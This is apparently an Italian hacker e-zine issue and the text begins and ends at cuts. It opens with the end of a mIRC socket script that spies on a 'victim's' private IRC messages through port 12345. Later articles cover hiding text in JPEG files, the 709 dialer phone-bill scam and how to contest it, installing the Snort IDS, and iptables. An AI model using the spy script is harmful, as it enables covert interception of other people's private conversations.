fallita return } } on 1:SOCKREAD:blspy: { if ( $sockerr > 0 ) { echo -a Connesione Fallita return } :blword sockread %ritorno if ( $sockbr == 0 ) return if ( %ritorno == $null ) %ritorno = - echo -a %ritorno goto blword } Con il primo alias non facciamo altro che dire al client di aprire un socket sulla porta 12345 del target ( penso che voi abbiate capito che 127.0.0.1 deve essere cambiato con l'ip della vittima ) che verrà poi accettata in automatico dal client target.Con gli alias successivi non facciamo altro che attivare e disattivare la spyquery.L'evento SOCKOPEN si attiva quando viene aperto un socket.Ciò che è stato scritto nelle righe di codice successive non penso di speigarlo perchè è identico a ciò che abbiamo scritto nella parte server.L'unica differenza è quel echo -a %ritorno con il quale viene detto al client di scrivere sulla finestra attiva le informazioni inviate dal socket (facile no!!!!!!). E con questo abbiamo finito.Se volete madarmi insulti,complimenti,parolacce commenti o altro mandatemi un e-mail al seguente indirizzo blacksword1@libero.it oppure potete trovarmi sul server azzurra sui seguenti canali: #informazionelibera,#hackarena.net,#thelord,#nsh. Spero che sia utile questo che ho scritto,e alla prossima. ******************************************************************************* Qui vorrei esternare ciò che penso della inforamazionelibera crew.Io sono ancora più orgoglioso di farne parte dopo aver letto la presentazione iniziale fatta alla crew da Cyberdude.E a questo punto vorrei dire grazie a persone come Cyberdude,Unrelated Caligola e tante altri per quello che stanno facendo,per la lora determinazione con cui affrontano le difficoltà,vorrei dire grazie a loro anche perchè proteggono ciò che costituisce qualcosa di determinante per l'uomo: l'informazione.Come può l'uomo vivere senza bisogno di informarsi come si può attenuare la sete di conoscenza dell'umanità.E pure in questa epoca l'informazione è monopolizata dalle multisocietà e grazie a persone come quelle che hanno fondato informazionelibera gli uomini stanno prendendo coraggio e si stanno ribellando affinchè l'informazione sarà libera come lo è l'uomo.......... ******************************************************************************* BlackSword <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> NASCONDERE INFORMAZIONI ----------------------- bY TAILOT Mi devo complimentare con tutti i membri della crew per gli articoli stupendi che continuano a scrivere!!! Mi raccomando continuiamo così.... In questo articolo vi descriverò passo passo una tecnica per nascodere delle informazioni in un qualsiasi file! Bene facciamo la prova con un file in formato jpg. Prima di iniziare ad operare sul file stesso ci serve un editor esadecimale qualsiasi, ne potete trovare uno al link: http://members.xoom.it/tailot/00000_editor-esadecimale.zip Adesso che ci siamo procurati il nostro editor apriamo il file dove vogliamo nascondere delle informazioni!!! Ci apparirà un codice Esadecimale affiancato ad un Ansi text.... Prendiamo in considerazione solo le ultime righe di codice Codice esadecimale Ansi text 51 40 05 14 51 40 1F FF D9 Q @ Q @ ÿ ù da ciò deduciamo che: 51 = Q 40 = @ 05 = 14 = 51 = Q 40 = @ 1F = FF = ÿ D9 = ù Adesso posizioniamo il cursore nell'ansi text dopo il carattere ù ed iniziamo a scrivere il messaggio che vogliamo nascondere!! Ad esempio se nella casella del codice Ansi text scriviamo ciao otterremo: Codice esadecimale Ansi tex 51 40 05 14 51 40 1F FF D9 20 63 69 61 6F Q @ Q @ ÿ ù CIAO IL LAVORO E FACILITATO IN QUANTO FA TUTTO IN AUTOMATICO..... ALTRIMENTI CHE EDITOR SAREBBE.... (HIHIHIHIHI) DOPO CHE AVRETE SCRITTO IL VOSTRO MESSAGGIO NON DOVETE FARE ALTRO CHE SALVARE IL TUTTO!!!! ADESSO VOI MI CHIEDERETE: COME FACCIO A VISUALIZZARE IL MESSAGGIO SEGRETO ??? SEMPLICE APRITE IL BLOCCO NOTE O UN QUALSIASI EDITOR DI TESTO ED ALLA FINE VEDRETE COMPARIRE IL VOSTRO MESSAGGIO!!! BY TAILOT Per ulteriori informazioni: WWW.TAILOT.CJB.NET webmaster@tailot.zzn.com <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ------------------------------------ 709 La nuova truffa della bolletta ---------c-y-b-e-r-d-u-d-e--t-e-x-t- ----- INTRO ----- Salve ragazzi… sono Cyberdude, volevo parlarvi di un piccolo problema riguardante la bolletta telefonica. Qualche giorno fa mi chiama mia zia e mi fa : Giuseppe quando hai un po' di tempo vieni a casa, è successa una cosa strana voglio fartela vedere… in un primo momento ho pensato fosse qualche cosa di stupido tipo la barra di office scomparsa o cose del genere, invece no, la situazione era molto più grave del previsto. Mia zia mi ha mostrato la bolletta del telefono, 300 euro di connessione a internet, 100 euro riconosciute a chiamate verso il numero di collegamento istallato da zia e altri 200 euro spesi in connessione verso un certo numero 709. Qui scatta la truffa… la truffa 709. Volete sapere a cosa è dovuto il tutto? Provate a entrare in siti molto conosciuti, vi basti vedere una scritta loghi e suonerie per il cellulare (questo naturalmente è solo un piccolo esempio, ci sono anche banner pornografici o di qualsiasi altra cosa si voglia) … cliccandoci sopra si scarica un piccolo programmino che dice che potete velocemente scaricare quello che volete, sapete cosa succede? A nostra insaputa veniamo reindirizzati verso servizi ad alto costo , fino a 3 euro al minuto… il risultato? Una bolletta molto salata. La cosa bella di questi piccoli Dialer ( sarebbero i programmini di connessione sostitutiva all'originale) si nascondono come parassiti nel nostro sistema o perativo e quando attiviamo la connessione si attivano automaticamente disattivando la connessione iniziale. A questo punto 1 ora di connessione a internet diventerebbe una spesa economica notevole. Personalmente vorrei dire che : 1. Non definiamo gli inventori di tale truffa hacker (un hacker ha sempre la sua etica e non apporta tali danni ai navigatori di rete) 2. Non è impossibile evitare il contagio di tali truffe… ------------------- LA LEGGE COSA DICE? ------------------- Vediamo adesso cosa dice il codice civile riguardo a queste truffe!! Art. 640 - Frode informatica - Chiunque, alterando in qualsiasi modo il funzionamento di un sistema informatico o telematico o intervenendo senza diritto con qualsiasi modalità su dati, informazioni o programmi contenuti in un sistema informatico o telematico o ad esso pertinenti, procura a sé o ad altri un ingiusto profitto con altrui danno, è punito con la reclusione da sei mesi a tre anni e con la multa da lire centomila a due milioni. La pena è della reclusione da uno a cinque anni e della multa da lire seicentomila a tre milioni se ricorre una delle circostanze previste dal numero 1) del secondo comma dell'articolo 640, ovvero se il fatto è commesso con abuso della qualità di operatore del sistema. Il delitto è punibile a querela della persona offesa, salvo che ricorra taluna delle circostanze di cui al secondo comma o un'altra circostanza aggravante. Art. 648 - Ricettazione - Fuori dei casi di concorso nel reato, chi, al fine di procurare a sè o ad altri un profitto, acquista, riceve od occulta denaro o cose provenienti da un qualsiasi delitto, o comunque s'intromette nel farli acquistare, ricevere od occultare, è punito con la reclusione da due a otto anni e con la multa da lire un milione a lire venti milioni. La pena è della reclusione sino a sei anni e della multa sino a lire un milione, se il fatto è di particolare tenuità. Le disposizioni di questo articolo si applicano anche quando l'autore del delitto, da cui il denaro o le cose provengono, non è imputabile o non è punibile -------------------------- COME FACCIO A NON PAGARE?? -------------------------- Spero di aver fatto chiarezza almeno sul crimine in cui ci siamo imbattuti. Dunque una prima soluzione a tale problema sarebbe non pagare le telefonate al 709 ma comunque anche se le avete gia pagate non preoccupatevi perché LA TELECOM ACCOGLIE LE RICHIESTE DI ADOC, ADUSBEF,CODACONS E FEDERCONSUMATORI: SI PUO' OTTENERE IL RIMBORSO! Chiaro? Adesso andiamo ad analizzare cosa dobbiamo fare (oltre a non pagare la bolletta è chiaro) … vi inviterei a seguire i seguenti passaggi! Cosa fare per non pagare 1. Mantenere la calma e disconnettersi da internet 2. Individuare tramite la cronologia del programma di navigazione (browser) i siti sospettati di aver trasmesso il dialer sul proprio pc e ricopiarne l'indirizzo web su un foglio 3. Personalmente, o tramite il proprio tecnico, individuare nel pc il dialer ovvero il programma pirata che ha riconfigurato abusivamente la connessione ad internet, indirizzando le telefonate sul numero a pagamento 709 e copiarlo su un foppy disk o altro supporto duraturo 4. Solo a questo punto, solo se proprio necessario, si potrà cancellare il dialer o riformattare l'hard disk del pc 5. Inoltrare denuncia contro ignoti alla Procura della Repubblica competente o tramite altra autorità di Polizia per il reato di truffa e di Accesso abusivo al proprio sistema informatico o telematico (Art. 640 e 615 ter Codice Penale) allegando alla stessa il floppy disk e l'elenco dei siti da cui si ritiene scaricato il programma dialer 6. Prima della scadenza della bolletta, se già pervenuta, inviare apposita raccomandata a.r. di contestazione della fattura alla azienda telefonica ed alla Autorità per le Garanzie nelle Comunicazioni, allegando copia della denuncia e chiedendo formalmente ai sensi dell'art 5 del D.lgs 171/98 il dettaglio specifico delle chiamate computate in bolletta 7. Prima della scadenza della bolletta provvedere al pagamento parziale informandosi preventivamente tramite calla center dell'esatto conto corrente postale su cui effettuare il versamento (varia da regione a regione), pagando solo le quote degli abbonamenti e le chiamate effettivamente svolte, ricordando di aggiungere all'importo così ottenuto il 20 % di iva 8. Restare in attesa delle determinazioni dell'azienda telefonica che dovrà accettare o meno il reclamo per iscritto entro 30 giorni 9. In caso di rigetto del reclamo e di richiesta forzosa degli importi da parte della azienda rivolgersi ad una associazione di consumatori o ad un legale adire la conciliazione aziendale oppure la conciliazione presso i Comitati regionali per le comunicazioni (questo solo nei capoluoghi di regione ove tali strutture siano effettivamente operativi) o ancora presso le Camere di commercio (a pagamento). In queste sedi con la documentazione raccolta potrà essere facilmente provata la involontarietà delle chiamate ed ottenere lo sgravio della bolletta. Che cos'altro? Beh … compilate il modulo sottostante e inviatelo alla Polizia Postale … la denunzia deve essere contro ignoti se il proprio gestore telefonico non ha ancora co municato il numero di telefono del dialer responsabile della "truffa" ----------------------------------------------------------------- AL COMPARTIMENTO POLIZIA POSTALE E DELLE COMUNICAZIONI DI _______________ e.p.c. ALLA SEZIONE DI POLIZIA POSTALE E DELLE COMUNINCAZIONI Presso l'Autorità per Le Garanzie nelle Comunicazioni N A P O L I Il sottoscritto _______________________, nato a ______________________Prov.____, il ___________ residente ______________________, alla via _____________________, nr. ___, titolare dell'utenza telefonica ____________ come da contratto Nr. ___________ del ____________, stipulato con la Società _____________________, dichiara che in data ___________ la società telefonica _________________________________ addebitava allo scrivente la fattura nr. ______________ datata _________________ avente importo di Euro ________ relativo al periodo che va dal _________________ al __________ per telefonate indirizzate in uscita verso codici a tariffazione speciale (es. codici 709 o altri) che si allega in copia. Il sottoscritto nella certezza di non aver mai volontariamente effettuato le sopradistinte telefonate e consapevole del fatto di essere stato raggirato da subdoli artifizi informatici, avvenuti durante la navigazione in internet, con la presente sporge formale querela nei confronti di ignoti per la truffa subìta, esprimendo la chiara e precisa volontà di perseguire gli autori della frode informatica. Copia della presente sarà inviata dal sottoscritto denunciante alla società telefonica ________________________________ affinché proceda allo storno delle cifre di Euro _________ ingiustificatamente addebitate e diffida la stessa a procedere al pagamento nei confronti degli eventuali responsabili della frode. Data ______________ Il denunciante ____________ ------------------------------------------------------------------- ------------------------ COME RISOLVO IL PROBLEMA ------------------------ Vorrei riportarvi adesso alcune regolette per non imbattersi più in questo problema!! REGOLA 1 - Disattiva gli Active X e il Download dei files Per essere sicuro al 100% che non cadrai mai nella rete dei dialers devi disattivare gli active-x e il download dei files. Per fare cio' imposta Internet Explorer (cioe' il programma che usi per navigare) cosi': 1. Apri internet Explorer e clicca su "Strumenti > Opzioni Internet" 2. Poi clicca su "Protezione" e infine su Livello personalizzato. 3. A questo punto si aprira' una nuova finestra dove bastera' scelgiere "Disattiva" su queste voci: - "Active-X" - Disattiva TUTTE le voci che contengono la scritta "ActiveX" - "Download dei Files" - Disattiva anche questa voce per impedire lo scaricamento dei files. REGOLA 2 - Scarica e installa STOP Dialers Un bravissimo programmatore italiano ha fatto un programmino gratuito e semplicissimo che blocca i dialers. Praticamente "STOP Dialers" impedisce che il modem si connetta a numeri telefonici differenti da quelli del vostro provider (e quindi a tutti i numeri dei dialers). La versione attuale funziona egregiamente su Windows 95/98/ME e, in certi casi anche su Windows2000 e XP. Scaricalo subito da qui e installalo sul tuo computer, e' gratis: http://www.akapulce.net/socket2000/stopdialer.asp REGOLA 3 - Chiama subito il 187 Alza SUBITO la cornetta e chiama la Telecom al numero 187. Parla con un operatore e chiedi subito di disattivare sulla tua linea tutte le chiamate fatte ai numeri 899, 709, 166, e a tutti gli altri numeri a pagamento. Se l'operatore Telecom ti dovesse negare questa richiesta allora insisti e spiegagli che e' un tuo diritto. Telecom ha offerto questa opzione di disattivare i numeri a pagamento solo da pochissimi mesi e l'operatore del 187 potrebbe ancora non esserne a conoscenza: ricordati che la disattivazione di tutti questi e' (finalmente) gratuita ! P.S. chiedi anche entro quale data sara' attiva la disattivazione e, per sicurezza, segnati il nome e il cognome dell'operatore con cui hai parlato e l'ora e il giorno della telefonata. Sai com'e', a volte la gente si dimentica... P.P.S. occhio che alcuni dialers usano numeri internazionali a pagamento che la Telecom non puo' disattivare, quindi disattiva sempre gli active-X !!! REGOLA 4 – Mettere ADSL Passare ad una linea adsl, dalla quale scaricare dialers è impossibile. ---------------------------------- E' POSSIBILE RISALIRE LA CORRENTE? ---------------------------------- Scopriremo il raggiro solo con la bolletta telefonica, ma non riusciremo comunque a scoprire a chi vanno quei soldi che Telecom esige da noi. Infatti anche nella fattura più dettagliata , quella che presenta la documentazione del traffico telefonico dell'abbonato, le ultime tre cifre del numero telefonico 709 sono oscurate .E il nome della società chiamata, che troviamo riportato, non ci è sufficiente: in realtà si tratta del gestore telefonico che risulta assegnatario di un determinato pacchetto di numeri , rilasciato dal ministero delle comunicazioni.Non si giunge ad ottenere dati certi e sufficienti in merito all'operatore che utilizza il numero: manca l'ultimo anello della catena, il vero e proprio autore della truffa.Ma Telecom potrebbe offrire indicazioni più precise di quelle contenute nella fattura; anzi, secondo il Garante per la Protezione dei Dati Personali , dovrebbe fornire in caso di contestazione ogni informazione all'utente, permettendo la tutela dei suoi interessi.La denuncia presentata alla Polizia Postale, pur esprimendo la chiara e precisa volontà di perseguire gli autori della frode informatica, viene attualmente sporta nei confronti di ignoti ; se Telecom volesse il reo avrebbe un nome . Ragazzi io ci metto un punto qui! Tirate voi le vostre conseguenze e se avete altre informazioni per risolvere il problema per favore fatemi sapere ok? Così risolvo anche il problema a mia zia ... hihihihi ciao a tutti CYBERDUDE <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> DISCLAIMER ################################################################################## Tutto il contenuto di questa guida è a scopo educativo e non possono essere usate per scopi illegali. Usa queste informazioni a tuo rischio e pericolo.Io _-PaKi-_ e qualsiasi altra persona abbia contribuito a scrivere questa guida non si assumera' NESSUNA responsabilita' nell'utilizzo che ne verra' fatto. ################################################################################## Firewall Linux&Snort Salve ragazzi prima di cominciare vorrei ringraziare cyberdude per la fiducia datami e per la possibilita' di scrivere per la prima volta una guida,rivolta a chi non sa e vorrebbe sapere su tutto cio' che riguarda l'informatica e la sicurezza relativa ad essa. Bene sigarette alla mano...Ok ventilatore a palla..Ok, si parte. In questa guida vorrei parlare di un determinato tipo di software relativo alla sicurezza in rete e non,come voi sapete nonostante internet oggi offra la possibilita' di eseguire in breve tempo mille applicazioni e mille altre cose, purtroppo esiste anche il rischio di qualche attacco da parte dei cosiddetti hackers (che siano lamer o no),quindi quello che andremo ad affrontare oggi è un argomento molto delicato, ovvero limitare i rischi di questi attacchi. Per arrivare ad un sistema sufficientemente sicuro esistono in commercio vari tipi di programmi chiamati firewall.I firewall si dividono in 2 tipi,il primo tipo di firewall sono i cosidetti blocching access, questi programmi non fanno altro che monitorare determinate porte, filtrare i pacchetti che vengono ricevuti dall'esterno per poi tramite regole impostate da noi regolarsi di conseguenza,ovvero possono decidere se rifiutare determinati tipi di richieste o passarle come richiesta positiva.questo tipo di programmi lo tratteremo in un altro momento,ora vorrei parlare di un programma che risiede nella schiera di software definiti IDS ovvero ( Intrusion Detected System). Uno di questi programmi che mi ha colpito notevolmente per la semplicita' del suo utilizzo e per la velocita' di installazione è lo "Snort". Uhm...aspettate un secondo ehehe....ora che ho presentato l'argomento, concedetemi di accendere una sigaretta :P Bene eccoci di nuovo...allora dicevamo? ah si,lo Snort...vi chiederete che roba è? mai sentito vero? eheheh:) Il mio scopo in questa mini guida vuole essere quello di aiutare tutti voi a difendere un sistema dagli attacchi,il che vuole dire anche monitorare il traffico evidenziando anomalie. che cos'è Snort Snort un programma che puo' essere impiegato su qualsiasi nodo di rete.E' un sistema multipiattaforma ovvero funzionanete su vari tipi di sistemi compilabili con le famose libcap(determinate librerie di unix).Per la maggioranza di sistemi bastano pochi minuti per la compilazione ed altri 10 minuti per avviarlo con una configurazione base.Come potete vedere rispetto ad altri programmi simili e molto piu' semplice e veloce. Snort come gia' accennato è basato sulle librerie libcap e viene composta da:un packet sniffer/logger e da un engine di pattern matching, quindi puo' essere utilizzato sia solo come sniffer che come NIDS.Il sistema di individuazione dei tentativi di attacchi o di intrusioni si basa su un set di regole chiamate set rulez, queste regole sono composte in un file chiamato snort.rulez.Come avete potuto capire lo snort occupa un posto di tutto rispetto nel campo della sicurezza informatica.Ora cercheremo di capire meglio come snort è strutturato per poterlo utilizzare nel migliore dei modi. Come funziona lo snort? Lo scopo di tale programma è garantire massima flessibilita, facilita' di utilizzo e impostazione.Ci sono 3 sottosistemi primari che lo costruiscono: il packet decoder, la detection engine ed il sottosistema di logging e alert.Ovviamnete non è difficile capire che il packet decoder si occupa di catturare i pacchetti che passano nella nostra rete e decodificarli,passandoli poi alla detection engine( qui entra in gioco la velocita' di tale operazione, e non per nulla questo IDS ha tutte le carte in regola per essere uno dei migliori).La detection engine è praticamente il cuore di questo favoloso programma,snort conserva le sue regole di detection in liste linkate bidimensionali e vi applica un algoritmo di pattern matching(riconoscimento di sequenza) estremamente efficiente.Il sottosistema di loggin/alert come ultimo componente, viene selezionato al momento dell'avvio del programma, attraverso linee di comando. Tipi di utenza per lo snort Vi chiederete a chi potrebbe essere interessato questo tipo di programma...be partendo dal presupposto che snort puo' aiutarci a fare un insieme di cose che ora elenchero':Individuare i normali attacchi: ovvero tutti i comuni exploit ( che sfruttano buffer owerflows, o format bugs ) lasciano dietro a loro una specie di firma dipendentemente dal tipo di pacchetti che essi inviano alla vittima.Snort è in grado di individuare tutta questa gamma di attacchi, dai piu' classici ai piu' sofisticati e nuovi, se dotato di una serie di regole(cosiddette rulez set ). Registrazione di un abuso anomalo di qualche applicazione: Forse qualcuno di voi si ricordera' di un certo bug del CGI Il famoso "phf", che permetteva di eseguire codice arbitrario sui server web che lo ospitavano.Grazie a snort possiamo individuare in tempo reale del fatto che qualcuno abbia provato o meno di abusare di tale tipo di attacco rivolto a CGI o altri. Individuare i port scan: Snort e in grado di individuare con estrema semplicita' di individuare un azione di port scan ovvero i probe remoti da parte di qualche crackers esperti o lamers essi siano, nel quale utilizzano questa techinca per scoprire il tipo di processo che è runnato sulla macchina vittima, prima di partire con il vero attacco. Individuazione di possibili virus o trojan: Molte back-doors aperte da trojan, come del resto molti altri virus lasciano tracce facilment5e riconoscibili da snort.Anche in questo caso si neccessita di rulez set ben aggiornate cosi potendo individuare anche la presenza di server per DDoS. Uhm fin qua' ci siete ragazzi? spero di non avervi incasinato troppo la vita hihihihi..cazzo fa un caldo che si muore :( vabbhe piccola pausa ed altra siga :P Rieccoci qua' molto breve la pausa:°°°° ma voi sarete impazienti di usare questo magnifico programma...quindi ehehehe. Compilazione&installazione Dunque dopo avervi spiegato un insieme di notizie relative a Snort ora passiamo alla fase pratica, ovvero scaricare il programma, dezipparlo, compilarlo ed installarlo.Prima di tutto scaricate la versione aggiornata ad oggi dal sito http://www.snort.org una volta scaricato sulla vostra linux box dovete dzipparlo con questo semplice comando: tar zxvf snort-x.x.tar.gz, ora non dovete fare altro che procedere alla sua compilazione e installazione con questi comandi: cd snort-x.x ../configure make make install ovviamente come gia detto prima avrete bisogno delle famose libcap, quindi se non le avete installate sul vostro sistema, prima di procedere alla compilazione, scaricate dal sito http://www.tcpdump.org le famose libcap, installatele e ripartite con la compilazione di snort. Una volta fatto cio' basterebbe avviare il programma con questo semplice comando: snort -D -c /etc/snort.rulez, in quel file (snort.rulez) ci devono essere le famose rulez set, ovvero le famose regole con il quale lo snort lavorera' per voi :P come abbiamo visto la semplicita' di tale programma lo fa' uno dei migliori programmi di sicurezza,poi ovviamente dipende da voi inserire delle regole base per arrivare ad un uso semplice, o settarlo in modo tale da farlo diventare un Intrusion Detector Syste sofisticato e con regole severissime. Per quanto riguarda le rulez set potete decidere se creare voi artigianalmente delle regole specifiche, in base all'utilizzo del sistema, o scaricarne gia pronte e gia settate.Se siete dei pigroni o volete solo inizialmente verificarne la sua potenzialita, potete scaricare le famose rulez al sito http://www.snort.org oppure http://snort.whitehats.com. Ragazzi con questo penso abbia detto in modo semplificato l'utilizzo di questo magnifico programma, spero di non aver complicato davvero troppo la vostra vita e come ultima cosa..spero vi sia piaciuta questa mia prima guida.in futuro, sperando che mi verranno date altre possibilita, approfondiremo la sicurezza informatica in modo tale che piano piano tutti quelli che non sapendo i rischi in cui vanno incontro navigando nel mondo della rete,possano migliorare le loro conoscenze e prenderne atto con relative precauzioni, tramite utilizzo di determinati programmi. Ah un ultima cosa se qualcuno di voi avesse dei dubbi o non avesse capito bene un non so che relativo ai miei articoli, puo' mandarmi una mail a questo indirizzo: pasqualetoma1@virgilio.it Ringraziamenti Con il concludere questo argomento voglio salutare cyberdude e tutti quelli che mi conoscono sperando che verranno attratti da tutto cio' che verra' scritto.Un saluto particolare lo devo ad una ragazza di nome soleluna, una dolcissima amica che stata molto vicino a me mi ha aiutato a superare tanti momenti negativi. _-PaKi-_ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> Nei meandri di Iptables Ho deciso di scrivere questo tutorial grazie ad un mio vecchio amico che cercava un documento per studiare meglio i firewall. Così mi sono detto che poteva essere un buon spunto per un tutorial, e ho deciso di farlo sul famoso firewall per Os linux...Iptables! MENU 1.=> Ricompilare il Kernel 2.=> Avviare Iptables 3.=> Le catene 4.=> Input, Output, Forward, Postrouting e Prerouting 5.=> Le tabelle dei filtri 6.=> Comandi principali di Iptables 7.=> Opzioni principali di Iptables 8.=> Politica e Target 9.=> Costruire un firewall 10.=> Security on Iptables 1) RICOMPILARE IL KERNEL ========================= Una delle differenze più grandi tra i firewall di linux e quelle di altri OS è che quest'ultimo è integrato nel kernel stesso. Prima di poter usare Iptables quindi bisognerà ricompilare il kernel, inanzitutto accertiamoci di avere i sorgenti del kernel 2.4 Potete usare quelli che trovate all'interno della vostra distribuzione oppure, (cosa consigliata) scaricarne dei nuovi all'indirizzo http://www.kernel.org Una volta che abbiamo accertato di possedere i sorgenti giusti, bisognerà andare nella directory /usr/src/linuxdir e digitare il comando: $ make menuconfig Con questo comando accediamo al menu opzioni e dopo averle accertate ricompiliamo il kernel e i suoi moduli con la solita prassi: (make dep - make clean - nake bzImage - make modules - make modules_install) Ora non sto qui a spiegarvi come ricompilare il kernel per filo e per segno, altrimenti mi ci vorrebbe un altro tutorial, ma posso dirvi che se per caso combinate qualche casino ricordatevi che potete sempre eseguire un make mrproper che cancellerà ogni configurazione precedente. Tuttavia un aiutino ve lo voglio dare lo stesso; Ecco come ricompilare il kernel sfruttanto tutte le possibilità di iptables: networking options [*] Network Packet filtering ( replaces ipchains ) [*] Network Packet filtering debugging (opzionale) IP Netfilter configuration ----> in questa sezione dovete compilare tutte le voci come moduli e abilitare anche il masquerade, supporto ipchains e ipfwadm [M] Iptables support [M] packet filtering [M] etc.etc. Domanda: E se io ho caricato iptables con modprobe inserendolo nel /etc/modules.conf come posso verificarlo ? Risposta: Semplicemente con il comando: $ /sbin/lsmod Domanda: E se io uso come distribuzione una user-friendly e non l'ho installato di default ? Risposta: In questo caso basta installare il pacchetto rpm di iptables presente nel cd della nostra distribuzione user-friendly (Mandrake, Red Hat) 2) Avviare Iptables ==================== Inanzitutto bisogna attivare nei servizi di boot del nostro runlevel iptables. Se usate Mandrake o Red Hat basta eseguire da root il comando: $chkconfig --level 5 iptables on Dove level 5 indica su quale runlevel va attivato il supporto iptables. Il mio amico branton, invece, mi suggeriva che per chi usa Debian deve andare su /etc/default e modificare iptables oppure come suggerisce il mio amico Imperiorx prendere a testate debconf :D Fatto ciò possiamo digitare tranquillamente il comando: $ /sbin/iptables -L -n Verifichiamo come l'output di questo comando ci mostra le regole attive. 3) Le catene ============== La tabella di regole di iptables è una catena, cioè un insieme di regole che vanno ad agire sulle intestazioni IP dei pacchetti per verificarne la loro corrispondenza. Con il comando appena digitato (iptables -L -n) ci accorgiamo che le tre catene di iptables sono: INPUT FORWARD OUTPUT Inoltre, se noi proviamo a digitare il comando iptables -t nat -L -n ci accorgiamo come ci vengono mostrate le catene del NAT, ovvero del MASQUERADING: POSTROUTING PREROUTING 4) Input, Output, Forward, Postrouting e Prerouting ==================================================== INPUT e OUTPUT sono due catene che agiscono sui pacchetti che riguardano soltanto il nostro host locale. La prima, riguarda quelli in entrata (dall'HOST al nostro PC), mentre la seconda riguarda quelli in uscita (dal nostro HOST verso un altro PC) FORWARD, invece, è riservata per i pacchetti che passano da un'interfaccia all'altra. Le catene PoSTROUTING e PREROUTING agiscono agli estremi del firewall, una alla fine e l'altro all'inizio. Per capire meglio questo processo riporto di seguito un piccolo schemino: Prima di raggiungere la| IPTABLES | Dopo il routing, quando tabella di routing | | i pacchetti lasciano il firewall |-----------------------|----------|----------------------------------| | PREROUTING ======> | FORWARD | ======> POSTROUTING | |-----------------------|----------|----------------------------------| Le catene contengono le regole, dove per ordine di altezza ogni regola è assegnata ad un numero. La prima regola ad essere letta è appunto la prima, e inoltre è capace di annullare tutte le altre. 5) Le tabelle dei filtri Ora dobbiamo vedere le regole attive di una determinata tabella, per far ciò digitiamo il seguente comando: $/sbin/iptables -t -L Ma cos'è una tabella? Una tabella serve per specificare un target di pacchetti da quella di default. La tabella di default è filter ed viene caricata dal modulo iptables_filter. Le altre tabelle che troviamo in iptables sono NAT e MANGLE, anche queste caricate dai rispettivi moduli. 6) Comandi principali di Iptables ================================== Per imparare i comandi di iptables dobbiamo rispettare una sitassi: iptables -COmANDO CATENA -opzione/opzioni -TARGET Ma vediamo quali sono i comandi di iptables: -A = append ==> appende una regola -D = delete ==> cancella la regola selezionata -C : check ==> Effettua un test -I = insert ==> inserisce una regola nella catena -R = replace ==> Sostituisce una regola con un'altra -F = Flush ==> Senza specificazione cancella tutte le regole di tutte le catene, altrimenti specificare il nome della cartella -L = List ==> Mostra le regole attive -Z = Zero ==> azzera i contatori della catena -N = New ==> crea una nuova catena -X = ==> Cancella una catena che avevate creato con -N -P = Policy ==> è la politica del firewall -E = Rename ==> rinomina una catena -h = Help ==> è l'help! :D 7) Opzioni principali di Iptables ================================== Le opzioni di iptables seguono il nome della catena e alcune hanno bisogno di moduli specifici -p = protocol ==> segue il nome del protocollo icmp, udp, tcp o all (consultare /etc/protocols ) -s = source ==> specifica indirizzo sorgente ( Es. -s 123.147.0.5/255.255.255.0 per la netmask, s 123.147.0.5:21 per la porta -d = destination ==> è l'ip dove sono diretti i pachetti -i = interface ==> serve a specificare l'interfaccia di input -o = output/interfaces ==> è l'interfaccia di uscita usata nelle catene OUTPUT e POSTROUTING -j = ==> è la fine che facciamo fare ai pacchetti, ACCEPT, DROP, RETURN, ecc..ecc.. -n = ==> fornisce un output numerico di porte ed indirizzi -v = verbose ==> per avere un listato delle regole attive più dettagliato, provare con $ /sbin/iptables -L -vv -x = exac ==> se i contatori dei byte sono utilizzati visualizzano un ouput numerico -f = fragment ==> pacchetti framentati, preceduto da "!" per controllare solo gli head fragments o unfragment packets --tcp-flgs ==> verifica i flags dei pacchetti per trovarne la corrispondenza --syn ==> specifica soltanto i pacchetti di risposta --icmp-type ==> specifica a quale categoria di icmp packets la regola deve trovare applicazione $ /sbin/iptables -p icmp -h --mac-source ==> specifica l'applicazione della regola su un'indirizzo sorgente MAC -m mac --mac-source 00:00:ab:c0:45:a7 --limit ==> imposta un limite, una frequenza massima di una regola -m limit --limit 1/sec --limit-burst ==> uguale a --limit burst fa da massima raffica prima che il limite succitato li respinga. ottima soluzione al syn-floods $iptables -A FORWARD -p tcp --syn -m limit 1/sec -j ACCEPT --port ==> applicata quando sia la porta sorgente che quella di destinazione sono uguali --mark ==> target MARK --uid-owner ==> valido per catena OUTPUT, solo per pacchetti creati da pc locale --gid-owner ==> uguale a sopra, solo che quest'ultimo comprende i gruppi e non gli utenti --pid-owner ==> in questa opzione va applicato l'ID di un processo PID --sid-owner ==> uguale a sopra solo che segue l'ID di una sessione --state ==> identifica lo stato di una connessione TCP con valori: NEW => connessione appena stabilita o stallo ESTABILISHED => connessione stabilita RELATED => nuova connessione INVALID => pacchetti di scansione -m state "VALORE" --tos ==> soddisfare una TOSK MASK -m tos --tos 16 TOS ==> specifica i pacchetti relativi a determinati servizi, questa opzione permette di impostare il valore del "type of service" valido solo per catene OUTPUT e PREROUTING $iptables -j TOS -h per impostare il valore: --set-tos "numero TOS" Per capire meglio quest'ultma opzione riporto la tabella TOSK MASk |---------------------|--------------|--------------|------------------| | NOME TOS | VALORE NUM. | ESADECIMALE | ESEMPIO | |---------------------|--------------|--------------|------------------| | Minimum-delay | 16 | 0x01 0x10 | Telnet, ssh, ftp | |---------------------|--------------|--------------|------------------| | Maximum-Throughput | 8 | 0x01 0x08 | Ftp | |---------------------|--------------|--------------|------------------| | Maximum-Reliability | 4 | 0x01 0x04 | DNS | |---------------------|--------------|--------------|------------------| | Minimum-Cost | 2 | 0x01 0x02 | E-Mail | |---------------------|--------------|--------------|------------------| | Normal-Service | 0 | 0x01 0x00 | | |---------------------|--------------|--------------|------------------| 8) Politica e Target ===================== i Targets, cioè dove vogliamo destinare i nostri pacchetti che soddisfano le caratteristiche di una regola, sono valori che determinano; l'entrata, il forwarding, l'uscita, il logging, il mascheramento ecc...ecc... La politica, o 